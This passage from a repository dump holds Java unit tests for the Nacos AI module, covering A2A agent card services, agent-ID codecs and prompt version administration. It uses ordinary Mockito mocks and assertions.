when(detailResponse.getStatus()).thenReturn(ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_FOUND_FORMAL);\n        when(detailResponse.getContent()).thenReturn(JacksonUtils.toJson(detailInfo));\n        \n        final Service service = Service.newService(TEST_NAMESPACE_ID, Constants.A2A.AGENT_ENDPOINT_GROUP,\n                ENCODED_AGENT_NAME + \"::\" + TEST_AGENT_VERSION);\n        \n        // Create a service info with hosts\n        final ServiceInfo serviceInfo = new ServiceInfo();\n        com.alibaba.nacos.api.naming.pojo.Instance instance = new com.alibaba.nacos.api.naming.pojo.Instance();\n        instance.setIp(\"127.0.0.1\");\n        instance.setPort(8080);\n        instance.getMetadata().put(Constants.A2A.AGENT_ENDPOINT_TRANSPORT_KEY, detailInfo.getPreferredTransport());\n        serviceInfo.addHost(instance);\n        when(serviceStorage.getData(service)).thenReturn(serviceInfo);\n        \n        when(configQueryChainService.handle(any(ConfigQueryChainRequest.class))).thenReturn(versionResponse)\n                .thenReturn(detailResponse);\n        \n        AgentCardDetailInfo result = a2aServerOperationService.getAgentCard(TEST_NAMESPACE_ID, TEST_AGENT_NAME,\n                TEST_AGENT_VERSION, \"service\");\n        \n        assertNotNull(result);\n        assertEquals(TEST_AGENT_NAME, result.getName());\n        assertEquals(TEST_AGENT_VERSION, result.getVersion());\n    }\n    \n    @Test\n    void testGetAgentCardWithEmptyRegistrationType() throws NacosApiException {\n        AgentCardVersionInfo versionInfo = buildTestAgentCardVersionInfo();\n        AgentCardDetailInfo detailInfo = buildTestAgentCardDetailInfo();\n        \n        ConfigQueryChainResponse versionResponse = mock(ConfigQueryChainResponse.class);\n        when(versionResponse.getStatus()).thenReturn(ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_FOUND_FORMAL);\n        when(versionResponse.getContent()).thenReturn(JacksonUtils.toJson(versionInfo));\n        \n        ConfigQueryChainResponse detailResponse = mock(ConfigQueryChainResponse.class);\n        when(detailResponse.getStatus()).thenReturn(ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_FOUND_FORMAL);\n        when(detailResponse.getContent()).thenReturn(JacksonUtils.toJson(detailInfo));\n        \n        Service service = Service.newService(TEST_NAMESPACE_ID, Constants.A2A.AGENT_ENDPOINT_GROUP,\n                ENCODED_AGENT_NAME + \"::\" + TEST_AGENT_VERSION);\n        ServiceInfo serviceInfo = new ServiceInfo();\n        serviceInfo.setHosts(Collections.emptyList());\n        when(serviceStorage.getData(service)).thenReturn(serviceInfo);\n        \n        when(configQueryChainService.handle(any(ConfigQueryChainRequest.class))).thenReturn(versionResponse)\n                .thenReturn(detailResponse);\n        \n        // Pass empty registration type - should use the one from detailInfo\n        AgentCardDetailInfo result = a2aServerOperationService.getAgentCard(TEST_NAMESPACE_ID, TEST_AGENT_NAME,\n                TEST_AGENT_VERSION, null);\n        \n        assertNotNull(result);\n        assertEquals(TEST_AGENT_NAME, result.getName());\n        assertEquals(TEST_AGENT_VERSION, result.getVersion());\n    }\n    \n    @Test\n    void testListAgentsWithNoAgentNameProvided() throws NacosException {\n        Page<ConfigInfo> configPage = new Page<>();\n        ConfigInfo configInfo = new ConfigInfo();\n        AgentCardVersionInfo versionInfo = buildTestAgentCardVersionInfo();\n        configInfo.setContent(JacksonUtils.toJson(versionInfo));\n        configPage.setPageItems(Collections.singletonList(configInfo));\n        configPage.setTotalCount(1);\n        \n        when(configDetailService.findConfigInfoPage(eq(Constants.A2A.SEARCH_BLUR), eq(1), eq(10), anyString(),\n                eq(Constants.A2A.AGENT_GROUP), eq(TEST_NAMESPACE_ID), eq(null))).thenReturn(configPage);\n        \n        // Call with empty agent name\n        Page<AgentCardVersionInfo> result = a2aServerOperationService.listAgents(TEST_NAMESPACE_ID, \"\",\n                Constants.A2A.SEARCH_BLUR, 1, 10);\n        \n        assertNotNull(result);\n        assertEquals(1, result.getTotalCount());\n        assertEquals(1, result.getPageItems().size());\n    }\n    \n    @Test\n    void testDeleteAgentWithEmptyVersion() throws NacosException {\n        AgentCardVersionInfo versionInfo = buildTestAgentCardVersionInfo();\n        ConfigQueryChainResponse response = mock(ConfigQueryChainResponse.class);\n        \n        when(response.getStatus()).thenReturn(ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_FOUND_FORMAL);\n        when(response.getContent()).thenReturn(JacksonUtils.toJson(versionInfo));\n        when(configQueryChainService.handle(any(ConfigQueryChainRequest.class))).thenReturn(response);\n        \n        when(configOperationService.deleteConfig(anyString(), anyString(), anyString(), any(), any(), anyString(),\n                any())).thenReturn(true);\n        \n        // Test deleting with empty version string - should behave like null\n        a2aServerOperationService.deleteAgent(TEST_NAMESPACE_ID, TEST_AGENT_NAME, \"\");\n        \n        // Should delete all versions\n        verify(configOperationService, times(2)).deleteConfig(anyString(), anyString(), anyString(), any(), any(),\n                anyString(), any());\n    }\n    \n    @Test\n    void testDeleteAgentVersionNotLatest() throws NacosException {\n        AgentCardVersionInfo versionInfo = buildTestAgentCardVersionInfo();\n        // Make it not the latest version\n        versionInfo.setLatestPublishedVersion(\"2.0.0\");\n        versionInfo.getVersionDetails().get(0).setLatest(false);\n        List<AgentVersionDetail> newVersionDetails = new LinkedList<>(versionInfo.getVersionDetails());\n        versionInfo.setVersionDetails(newVersionDetails);\n        \n        ConfigQueryChainResponse response = mock(ConfigQueryChainResponse.class);\n        when(response.getStatus()).thenReturn(ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_FOUND_FORMAL);\n        when(response.getContent()).thenReturn(JacksonUtils.toJson(versionInfo));\n        when(configQueryChainService.handle(any(ConfigQueryChainRequest.class))).thenReturn(response);\n        \n        when(configOperationService.deleteConfig(eq(ENCODED_AGENT_NAME_WITH_VERSION),\n                eq(Constants.A2A.AGENT_VERSION_GROUP), eq(TEST_NAMESPACE_ID), eq(null), eq(null), eq(\"nacos\"),\n                eq(null))).thenReturn(true);\n        \n        // Add a second version so it doesn't delete the main config\n        AgentVersionDetail secondVersion = new AgentVersionDetail();\n        secondVersion.setVersion(\"2.0.0\");\n        secondVersion.setLatest(true);\n        versionInfo.getVersionDetails().add(secondVersion);\n        \n        a2aServerOperationService.deleteAgent(TEST_NAMESPACE_ID, TEST_AGENT_NAME, TEST_AGENT_VERSION);\n        \n        verify(configOperationService, times(1)).deleteConfig(eq(ENCODED_AGENT_NAME_WITH_VERSION),\n                eq(Constants.A2A.AGENT_VERSION_GROUP), eq(TEST_NAMESPACE_ID), eq(null), eq(null), eq(\"nacos\"),\n                eq(null));\n    }\n    \n    private AgentCard buildTestAgentCard() {\n        AgentCard agentCard = new AgentCard();\n        agentCard.setName(TEST_AGENT_NAME);\n        agentCard.setVersion(TEST_AGENT_VERSION);\n        agentCard.setDescription(\"Test Agent Description\");\n        AgentProvider agentProvider = new AgentProvider();\n        agentProvider.setOrganization(\"Test Organization\");\n        agentCard.setProvider(agentProvider);\n        agentCard.setPreferredTransport(\"http\");\n        return agentCard;\n    }\n    \n    private AgentCardDetailInfo buildTestAgentCardDetailInfo() {\n        AgentCardDetailInfo detailInfo = new AgentCardDetailInfo();\n        detailInfo.setName(TEST_AGENT_NAME);\n        detailInfo.setVersion(TEST_AGENT_VERSION);\n        detailInfo.setDescription(\"Test Agent Description\");\n        AgentProvider agentProvider = new AgentProvider();\n        agentProvider.setOrganization(\"Test Organization\");\n        detailInfo.setProvider(agentProvider);\n        detailInfo.setRegistrationType(TEST_REGISTRATION_TYPE);\n        return detailInfo;\n    }\n    \n    private AgentCardVersionInfo buildTestAgentCardVersionInfo() {\n        AgentCardVersionInfo versionInfo = new AgentCardVersionInfo();\n        versionInfo.setName(TEST_AGENT_NAME);\n        versionInfo.setVersion(TEST_AGENT_VERSION);\n        versionInfo.setLatestPublishedVersion(TEST_AGENT_VERSION);\n        versionInfo.setRegistrationType(TEST_REGISTRATION_TYPE);\n        \n        AgentVersionDetail versionDetail = new AgentVersionDetail();\n        versionDetail.setVersion(TEST_AGENT_VERSION);\n        versionDetail.setLatest(true);\n        versionInfo.setVersionDetails(Collections.singletonList(versionDetail));\n        \n        return versionInfo;\n    }\n}"
  },
  {
    "path": "ai/src/test/java/com/alibaba/nacos/ai/service/a2a/identity/AgentIdCodecHolderTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.service.a2a.identity;\n\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\nimport org.springframework.beans.factory.ObjectProvider;\n\nimport static org.junit.jupiter.api.Assertions.assertDoesNotThrow;\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\nclass AgentIdCodecHolderTest {\n    \n    @Mock\n    private ObjectProvider<AgentIdCodec> agentIdCodecsProvider;\n    \n    @Mock\n    private AgentIdCodec agentIdCodec;\n    \n    private AgentIdCodecHolder agentIdCodecHolder;\n    \n    @BeforeEach\n    void setUp() {\n        when(agentIdCodecsProvider.getIfAvailable(any())).thenReturn(agentIdCodec);\n        agentIdCodecHolder = new AgentIdCodecHolder(agentIdCodecsProvider);\n    }\n    \n    @Test\n    void testConstructorWithNoAvailableCodec() {\n        when(agentIdCodecsProvider.getIfAvailable(any())).thenCallRealMethod();\n        \n        assertDoesNotThrow(() -> new AgentIdCodecHolder(agentIdCodecsProvider));\n    }\n    \n    @Test\n    void testEncode() {\n        when(agentIdCodec.encode(\"test-agent\")).thenReturn(\"encoded-agent\");\n        \n        String result = agentIdCodecHolder.encode(\"test-agent\");\n        \n        assertEquals(\"encoded-agent\", result);\n    }\n    \n    @Test\n    void testEncodeForSearch() {\n        when(agentIdCodec.encodeForSearch(\"test-agent\")).thenReturn(\"encoded-search-agent\");\n        \n        String result = agentIdCodecHolder.encodeForSearch(\"test-agent\");\n        \n        assertEquals(\"encoded-search-agent\", result);\n    }\n    \n    @Test\n    void testDecode() {\n        when(agentIdCodec.decode(\"encoded-agent\")).thenReturn(\"test-agent\");\n        \n        String result = agentIdCodecHolder.decode(\"encoded-agent\");\n        \n        assertEquals(\"test-agent\", result);\n    }\n}"
  },
  {
    "path": "ai/src/test/java/com/alibaba/nacos/ai/service/a2a/identity/AsciiAgentIdCodecTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.service.a2a.identity;\n\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\n\nclass AsciiAgentIdCodecTest {\n    \n    private AsciiAgentIdCodec agentIdCodec;\n    \n    @BeforeEach\n    public void setUp() {\n        agentIdCodec = new AsciiAgentIdCodec();\n    }\n    \n    // Does not encode when name is already valid\n    @Test\n    void testUsageDoesNotEncodeValidNames() {\n        String input = \"abc\";\n        assertEquals(input, agentIdCodec.encode(input));\n    }\n    \n    // Round-trip encode/decode when input contains a space\n    @Test\n    void testValidSpecialCharsAreKept() {\n        String input = \"name-ok.:\";\n        assertEquals(input, agentIdCodec.encode(input));\n    }\n    \n    @Test\n    void testValidNamesWithNumber() {\n        String input = \"name-ok.1:2\";\n        String encoded = agentIdCodec.encode(input);\n        assertEquals(\"____:name-ok._049:_050\", encoded);\n        assertEquals(input, agentIdCodec.decode(encoded));\n    }\n    \n    @Test\n    void testEncodeAndDecodeWhenNameContainsSpace() {\n        String input = \"hello world\";\n        String encoded = agentIdCodec.encode(input);\n        assertEquals(\"____:hello_032world\", encoded);\n        assertEquals(input, agentIdCodec.decode(encoded));\n    }\n    // Valid special characters (._:-) should be preserved without encoding\n    \n    // Round-trip encode/decode for mixed unicode letters and ASCII\n    @Test\n    void testRoundTripUnicodeChars() {\n        String input = \" Ω test\";\n        String encoded = agentIdCodec.encode(input);\n        assertEquals(\"____:_032Ω_032test\", encoded);\n        String decoded = agentIdCodec.decode(encoded);\n        assertEquals(input, decoded);\n    }\n    \n    // Input starts with underscore followed by hex-like sequence; verify behavior policy\n    @Test\n    void testUnderscoreFollowedByHexAmbiguityHandledByPolicy() {\n        String original = \"1 _abcd\";\n        String encoded = agentIdCodec.encode(original);\n        assertEquals(\"____:_049_032_095abcd\", encoded);\n        assertEquals(original, agentIdCodec.decode(encoded));\n    }\n    \n    // Round-trip for extreme boundary code points (NUL and U+FF)\n    @Test\n    void testBoundaryCharacters() {\n        String input = \" ~\";\n        String encoded = agentIdCodec.encode(input);\n        assertEquals(\"____:_032_126\", encoded);\n        String decoded = agentIdCodec.decode(encoded);\n        assertEquals(input, decoded);\n    }\n    \n    // Encoding keeps empty string as-is and preserves a single underscore\n    @Test\n    void testEncodeKeepsEmptyAndUnderscore() {\n        String empty = \"\";\n        String encodedEmpty = agentIdCodec.encode(empty);\n        assertEquals(\"\", encodedEmpty);\n        \n        String underscoreOnly = \"_\";\n        String encodedUnderscore = agentIdCodec.encode(underscoreOnly);\n        assertEquals(\"____:_095\", encodedUnderscore);\n    }\n    \n    // Encoding is idempotent for already-encoded output; decode restores original\n    @Test\n    void testAlreadyEncodedStringIsIdempotentOnEncode() {\n        String original = \"with space and Ω and tab\\t\";\n        String first = agentIdCodec.encode(original);\n        String second = agentIdCodec.encode(first);\n        assertEquals(\"____:with_032space_032and_032Ω_032and_032tab_009\", first);\n        // encodeName should not double-encode an already valid string\n        assertEquals(first, second);\n        // decode should restore original\n        assertEquals(original, agentIdCodec.decode(first));\n    }\n    \n    // Round-trip for mixture of ASCII, control (tab), and underscore suffix\n    @Test\n    void testMixedUnicodeAndControlCharactersRoundTrip() {\n        String original = \"A B\\tC_\";\n        String encoded = agentIdCodec.encode(original);\n        assertEquals(\"____:A_032B_009C_095\",  encoded);\n        String decoded = agentIdCodec.decode(encoded);\n        assertEquals(original, decoded);\n    }\n    \n    // Decoding a string with encoded prefix returns body; encoding leaves valid input unchanged\n    @Test\n    void testDecodeNameWithFakeEncodedPrefixBody() {\n        String fake = \"____:hello\";\n        // This string is already valid; encodeName should return as-is\n        assertEquals(fake, agentIdCodec.encode(fake));\n        // decodeName should strip prefix and return body unchanged\n        assertEquals(\"hello\", agentIdCodec.decode(fake));\n    }\n    \n    @Test\n    void testDecodeWithoutPrefix() {\n        String fake = \"hello\";\n        assertEquals(fake, agentIdCodec.decode(fake));\n    }\n    \n    @Test\n    void testDecodeWithIllegalString() {\n        String fake = \"____:hello_02aworld\";\n        assertEquals(\"hello_02aworld\", agentIdCodec.decode(fake));\n    }\n    \n    @Test\n    void testEncodeForSearchWithEmpty() {\n        String empty = \"\";\n        assertEquals(\"\", agentIdCodec.encodeForSearch(empty));\n    }\n    \n    @Test\n    void testEncodeForNotEncode() {\n        String input = \"hello\";\n        assertEquals(input, agentIdCodec.encodeForSearch(input));\n    }\n    \n    @Test\n    void testEncodeForSearchWithUnderscore() {\n        String underscore = \"_\";\n        assertEquals(\"_095\", agentIdCodec.encodeForSearch(underscore));\n    }\n    \n    @Test\n    void testEncodeForSearchWithSpecialChars() {\n        String specialChars = \"hello world\";\n        assertEquals(\"hello_032world\", agentIdCodec.encodeForSearch(specialChars));\n    }\n}"
  },
  {
    "path": "ai/src/test/java/com/alibaba/nacos/ai/service/prompt/PromptAdminOperationServiceImplTest.java",
    "content": "/*\n * Copyright 1999-2026 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.service.prompt;\n\nimport com.alibaba.nacos.ai.utils.PromptDataIdUtils;\nimport com.alibaba.nacos.api.ai.model.prompt.PromptDescriptor;\nimport com.alibaba.nacos.api.ai.model.prompt.PromptLabelVersionMapping;\nimport com.alibaba.nacos.api.ai.model.prompt.PromptVersionInfo;\nimport com.alibaba.nacos.api.ai.model.prompt.PromptVersionSummary;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.config.server.model.ConfigAllInfo;\nimport com.alibaba.nacos.config.server.model.ConfigInfo;\nimport com.alibaba.nacos.config.server.model.ConfigInfoWrapper;\nimport com.alibaba.nacos.config.server.model.ConfigRequestInfo;\nimport com.alibaba.nacos.config.server.model.form.ConfigForm;\nimport com.alibaba.nacos.config.server.service.ConfigDetailService;\nimport com.alibaba.nacos.config.server.service.ConfigOperationService;\nimport com.alibaba.nacos.config.server.service.repository.ConfigInfoPersistService;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.ArgumentCaptor;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.ArgumentMatchers.anyString;\nimport static org.mockito.ArgumentMatchers.eq;\nimport static org.mockito.Mockito.atLeastOnce;\nimport static org.mockito.Mockito.times;\nimport static org.mockito.Mockito.verify;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\nclass PromptAdminOperationServiceImplTest {\n    \n    private static final String PROMPT_GROUP = \"nacos-ai-prompt\";\n    \n    @Mock\n    private ConfigOperationService configOperationService;\n    \n    @Mock\n    private ConfigDetailService configDetailService;\n    \n    @Mock\n    private ConfigInfoPersistService configInfoPersistService;\n    \n    private PromptAdminOperationServiceImpl service;\n    \n    @BeforeEach\n    void setUp() {\n        service = new PromptAdminOperationServiceImpl(configOperationService, configDetailService,\n                configInfoPersistService);\n    }\n    \n    @Test\n    void publishPromptVersionShouldPublishVersionMetaAndLatestWhenFirstPublish() throws NacosException {\n        String ns = \"public\";\n        String key = \"p1\";\n        String version = \"1.0.0\";\n        String mappingDataId = PromptDataIdUtils.buildLabelVersionMappingDataId(key);\n        String versionDataId = PromptDataIdUtils.buildVersionDataId(key, version);\n        \n        when(configInfoPersistService.findConfigInfo(mappingDataId, PROMPT_GROUP, ns)).thenReturn(null);\n        ConfigInfoWrapper latestSource = new ConfigInfoWrapper();\n        latestSource.setContent(\"{\\\"version\\\":\\\"1.0.0\\\",\\\"template\\\":\\\"hello\\\"}\");\n        when(configInfoPersistService.findConfigInfo(versionDataId, PROMPT_GROUP, ns)).thenReturn(null)\n                .thenReturn(latestSource);\n        \n        boolean result = service.publishPromptVersion(ns, key, version, \"hello\", \"c1\", \"desc\", List.of(\"a\", \"a\", \"b\"),\n                List.of(), \"u1\", \"127.0.0.1\");\n        \n        assertTrue(result);\n        ArgumentCaptor<ConfigForm> formCaptor = ArgumentCaptor.forClass(ConfigForm.class);\n        ArgumentCaptor<ConfigRequestInfo> reqCaptor = ArgumentCaptor.forClass(ConfigRequestInfo.class);\n        verify(configOperationService, atLeastOnce()).publishConfig(formCaptor.capture(), reqCaptor.capture(),\n                eq(null));\n        List<ConfigForm> forms = formCaptor.getAllValues();\n        assertEquals(4, forms.size());\n        assertTrue(\n                forms.stream().anyMatch(f -> PromptDataIdUtils.buildVersionDataId(key, version).equals(f.getDataId())));\n        assertTrue(forms.stream()\n                .anyMatch(f -> PromptDataIdUtils.buildLabelVersionMappingDataId(key).equals(f.getDataId())));\n        assertTrue(forms.stream().anyMatch(f -> PromptDataIdUtils.buildDescriptorDataId(key).equals(f.getDataId())));\n        assertTrue(forms.stream().anyMatch(f -> PromptDataIdUtils.buildLatestDataId(key).equals(f.getDataId())));\n    }\n    \n    @Test\n    void publishPromptVersionShouldRejectDescriptionOrBizTagsWhenNotFirstPublish() {\n        String ns = \"public\";\n        String key = \"p1\";\n        String version = \"1.1.0\";\n        PromptLabelVersionMapping mapping = new PromptLabelVersionMapping();\n        mapping.setPromptKey(key);\n        mapping.setVersions(new ArrayList<>(List.of(\"1.0.0\")));\n        mapping.setLabels(new HashMap<>());\n        ConfigInfoWrapper metaConfig = new ConfigInfoWrapper();\n        metaConfig.setContent(com.alibaba.nacos.common.utils.JacksonUtils.toJson(mapping));\n        metaConfig.setMd5(\"m1\");\n        when(configInfoPersistService.findConfigInfo(PromptDataIdUtils.buildLabelVersionMappingDataId(key),\n                PROMPT_GROUP, ns)).thenReturn(metaConfig);\n        \n        assertThrows(NacosException.class,\n                () -> service.publishPromptVersion(ns, key, version, \"hello\", null, \"desc\", null, List.of(), \"u1\",\n                        \"127.0.0.1\"));\n    }\n    \n    @Test\n    void bindLabelShouldThrowNotFoundWhenVersionNotExists() {\n        String ns = \"public\";\n        String key = \"p1\";\n        PromptLabelVersionMapping mapping = new PromptLabelVersionMapping();\n        mapping.setPromptKey(key);\n        mapping.setVersions(new ArrayList<>(List.of(\"1.0.0\")));\n        mapping.setLabels(new HashMap<>());\n        ConfigInfoWrapper metaConfig = new ConfigInfoWrapper();\n        metaConfig.setContent(com.alibaba.nacos.common.utils.JacksonUtils.toJson(mapping));\n        metaConfig.setMd5(\"m1\");\n        when(configInfoPersistService.findConfigInfo(PromptDataIdUtils.buildLabelVersionMappingDataId(key),\n                PROMPT_GROUP, ns)).thenReturn(metaConfig);\n        \n        assertThrows(NacosException.class, () -> service.bindLabel(ns, key, \"prod\", \"2.0.0\", \"u1\", \"127.0.0.1\"));\n    }\n    \n    @Test\n    void queryPromptDetailShouldResolveByLabel() throws NacosException {\n        String ns = \"public\";\n        String key = \"p1\";\n        PromptLabelVersionMapping mapping = new PromptLabelVersionMapping();\n        mapping.setPromptKey(key);\n        mapping.setVersions(new ArrayList<>(List.of(\"1.0.0\")));\n        mapping.setLabels(new HashMap<>());\n        mapping.getLabels().put(\"prod\", \"1.0.0\");\n        mapping.setLatestVersion(\"1.0.0\");\n        ConfigInfoWrapper metaConfig = new ConfigInfoWrapper();\n        metaConfig.setContent(com.alibaba.nacos.common.utils.JacksonUtils.toJson(mapping));\n        when(configInfoPersistService.findConfigInfo(PromptDataIdUtils.buildLabelVersionMappingDataId(key),\n                PROMPT_GROUP, ns)).thenReturn(metaConfig);\n        \n        PromptVersionInfo versionInfo = new PromptVersionInfo();\n        versionInfo.setVersion(\"1.0.0\");\n        versionInfo.setTemplate(\"hello\");\n        ConfigAllInfo allInfo = new ConfigAllInfo();\n        allInfo.setContent(com.alibaba.nacos.common.utils.JacksonUtils.toJson(versionInfo));\n        allInfo.setMd5(\"m1\");\n        allInfo.setCreateUser(\"u1\");\n        when(configInfoPersistService.findConfigAllInfo(PromptDataIdUtils.buildVersionDataId(key, \"1.0.0\"),\n                PROMPT_GROUP, ns)).thenReturn(allInfo);\n        \n        PromptVersionInfo actual = service.queryPromptDetail(ns, key, null, \"prod\");\n        \n        assertEquals(key, actual.getPromptKey());\n        assertEquals(\"1.0.0\", actual.getVersion());\n        assertEquals(\"m1\", actual.getMd5());\n        assertEquals(\"u1\", actual.getSrcUser());\n    }\n    \n    @Test\n    void listPromptVersionsShouldSortBySemverDescAndPaginate() throws NacosException {\n        String ns = \"public\";\n        String key = \"p1\";\n        PromptLabelVersionMapping mapping = new PromptLabelVersionMapping();\n        mapping.setPromptKey(key);\n        mapping.setVersions(new ArrayList<>(List.of(\"1.0.0\", \"2.0.0\")));\n        mapping.setLabels(new HashMap<>());\n        ConfigInfoWrapper metaConfig = new ConfigInfoWrapper();\n        metaConfig.setContent(com.alibaba.nacos.common.utils.JacksonUtils.toJson(mapping));\n        when(configInfoPersistService.findConfigInfo(PromptDataIdUtils.buildLabelVersionMappingDataId(key),\n                PROMPT_GROUP, ns)).thenReturn(metaConfig);\n        \n        PromptVersionInfo versionInfo = new PromptVersionInfo();\n        versionInfo.setVersion(\"2.0.0\");\n        versionInfo.setCommitMsg(\"msg\");\n        ConfigAllInfo allInfo = new ConfigAllInfo();\n        allInfo.setContent(com.alibaba.nacos.common.utils.JacksonUtils.toJson(versionInfo));\n        allInfo.setCreateUser(\"u1\");\n        when(configInfoPersistService.findConfigAllInfo(PromptDataIdUtils.buildVersionDataId(key, \"2.0.0\"),\n                PROMPT_GROUP, ns)).thenReturn(allInfo);\n        \n        List<PromptVersionSummary> items = service.listPromptVersions(ns, key, 1, 1).getPageItems();\n        \n        assertEquals(1, items.size());\n        assertEquals(\"2.0.0\", items.get(0).getVersion());\n    }\n    \n    @Test\n    void publishPromptVersionShouldThrowWhenVersionInvalid() {\n        assertThrows(NacosException.class,\n                () -> service.publishPromptVersion(\"public\", \"p1\", \"1.0\", \"hello\", null, null, null, List.of(), \"u1\",\n                        \"127.0.0.1\"));\n    }\n    \n    @Test\n    void publishPromptVersionShouldThrowWhenTemplateBlank() {\n        assertThrows(NacosException.class,\n                () -> service.publishPromptVersion(\"public\", \"p1\", \"1.0.0\", \" \", null, null, null, List.of(), \"u1\",\n                        \"127.0.0.1\"));\n    }\n    \n    @Test\n    void publishPromptVersionShouldThrowConflictWhenMetaContainsVersion() {\n        String ns = \"public\";\n        String key = \"p1\";\n        PromptLabelVersionMapping mapping = new PromptLabelVersionMapping();\n        mapping.setPromptKey(key);\n        mapping.setVersions(new ArrayList<>(List.of(\"1.0.0\")));\n        mapping.setLabels(new HashMap<>());\n        ConfigInfoWrapper metaConfig = new ConfigInfoWrapper();\n        metaConfig.setContent(com.alibaba.nacos.common.utils.JacksonUtils.toJson(mapping));\n        when(configInfoPersistService.findConfigInfo(PromptDataIdUtils.buildLabelVersionMappingDataId(key),\n                PROMPT_GROUP, ns)).thenReturn(metaConfig);\n        \n        assertThrows(NacosException.class,\n                () -> service.publishPromptVersion(ns, key, \"1.0.0\", \"hello\", null, null, null, List.of(), \"u1\",\n                        \"127.0.0.1\"));\n    }\n    \n    @Test\n    void publishPromptVersionShouldThrowConflictWhenVersionConfigAlreadyExists() {\n        String ns = \"public\";\n        String key = \"p1\";\n        String version = \"1.0.0\";\n        ConfigInfoWrapper existedVersion = new ConfigInfoWrapper();\n        existedVersion.setContent(\"exists\");\n        when(configInfoPersistService.findConfigInfo(PromptDataIdUtils.buildLabelVersionMappingDataId(key),\n                PROMPT_GROUP, ns)).thenReturn(null);\n        when(configInfoPersistService.findConfigInfo(PromptDataIdUtils.buildVersionDataId(key, version), PROMPT_GROUP,\n                ns)).thenReturn(existedVersion);\n        \n        assertThrows(NacosException.class,\n                () -> service.publishPromptVersion(ns, key, version, \"hello\", null, null, null, List.of(), \"u1\",\n                        \"127.0.0.1\"));\n    }\n    \n    @Test\n    void bindLabelShouldPublishMetaWhenSuccess() throws NacosException {\n        String ns = \"public\";\n        String key = \"p1\";\n        PromptLabelVersionMapping mapping = new PromptLabelVersionMapping();\n        mapping.setPromptKey(key);\n        mapping.setVersions(new ArrayList<>(List.of(\"1.0.0\")));\n        mapping.setLabels(new HashMap<>());\n        ConfigInfoWrapper metaConfig = new ConfigInfoWrapper();\n        metaConfig.setContent(com.alibaba.nacos.common.utils.JacksonUtils.toJson(mapping));\n        metaConfig.setMd5(\"m1\");\n        when(configInfoPersistService.findConfigInfo(PromptDataIdUtils.buildLabelVersionMappingDataId(key),\n                PROMPT_GROUP, ns)).thenReturn(metaConfig);\n        \n        service.bindLabel(ns, key, \"prod\", \"1.0.0\", \"u1\", \"127.0.0.1\");\n        \n        ArgumentCaptor<ConfigForm> formCaptor = ArgumentCaptor.forClass(ConfigForm.class);\n        verify(configOperationService).publishConfig(formCaptor.capture(), any(ConfigRequestInfo.class), eq(null));\n        assertEquals(PromptDataIdUtils.buildLabelVersionMappingDataId(key), formCaptor.getValue().getDataId());\n    }\n    \n    @Test\n    void unbindLabelShouldPublishMetaWhenSuccess() throws NacosException {\n        String ns = \"public\";\n        String key = \"p1\";\n        PromptLabelVersionMapping mapping = new PromptLabelVersionMapping();\n        mapping.setPromptKey(key);\n        mapping.setVersions(new ArrayList<>(List.of(\"1.0.0\")));\n        mapping.setLabels(new HashMap<>());\n        mapping.getLabels().put(\"prod\", \"1.0.0\");\n        ConfigInfoWrapper metaConfig = new ConfigInfoWrapper();\n        metaConfig.setContent(com.alibaba.nacos.common.utils.JacksonUtils.toJson(mapping));\n        metaConfig.setMd5(\"m1\");\n        when(configInfoPersistService.findConfigInfo(PromptDataIdUtils.buildLabelVersionMappingDataId(key),\n                PROMPT_GROUP, ns)).thenReturn(metaConfig);\n        \n        service.unbindLabel(ns, key, \"prod\", \"u1\", \"127.0.0.1\");\n        \n        